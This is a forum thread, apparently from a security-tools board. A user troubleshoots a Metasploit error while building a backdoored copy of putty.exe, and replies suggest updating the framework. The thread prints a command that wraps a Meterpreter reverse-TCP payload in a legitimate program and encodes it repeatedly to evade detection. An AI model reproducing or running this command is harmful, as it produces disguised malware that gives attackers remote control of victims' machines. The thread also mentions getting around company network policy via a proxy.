msfencode shikata_ga_nai failed "No .text section found in the template exe"

I'm getting this error while executing the following command (from a video of security tube):
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.18.132 R | ./msfencode -t exe -x /root/putty.exe -k -o /root/putty_bd.exe -e x86/shikata_ga_nai -c 5[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)

[-] x86/shikata_ga_nai failed: No .text section found in the template exe ./lib/msf/util/exe.rb:85:in `to_win32pe'./msfencode:212./msfencode:179:in `each'./msfencode:179

What does it mean ? I've seen also the code at line 85 and line 212, but it seems that "text" variable is not set. :confused:

I'm running BT4-final on vmware image.
Thanks for any kind of suggestion.

have you updated metasploit from svn? Mine works fine with the exact same command.

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Originally Posted by purehate

have you updated metasploit from svn? Mine works fine with the exact same command.

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metasploit is not updated and now that I'm trying to do I'm getting this error "could not connect to server" abd this is due to my company's policy.
I'm using a BT4 on vmware behind a NAT. I'm able to bypass these company's rules (from my PC of course) because as production's team we can use a proxy so I was wondering if it's possible to manually download from https://www.metasploit.com/svn/framework3/trunk and update it manually.

Do you have any ideas?

svn can work through a proxy, Id suggest you look into that. Downloading and transferring manually will be a big PIA.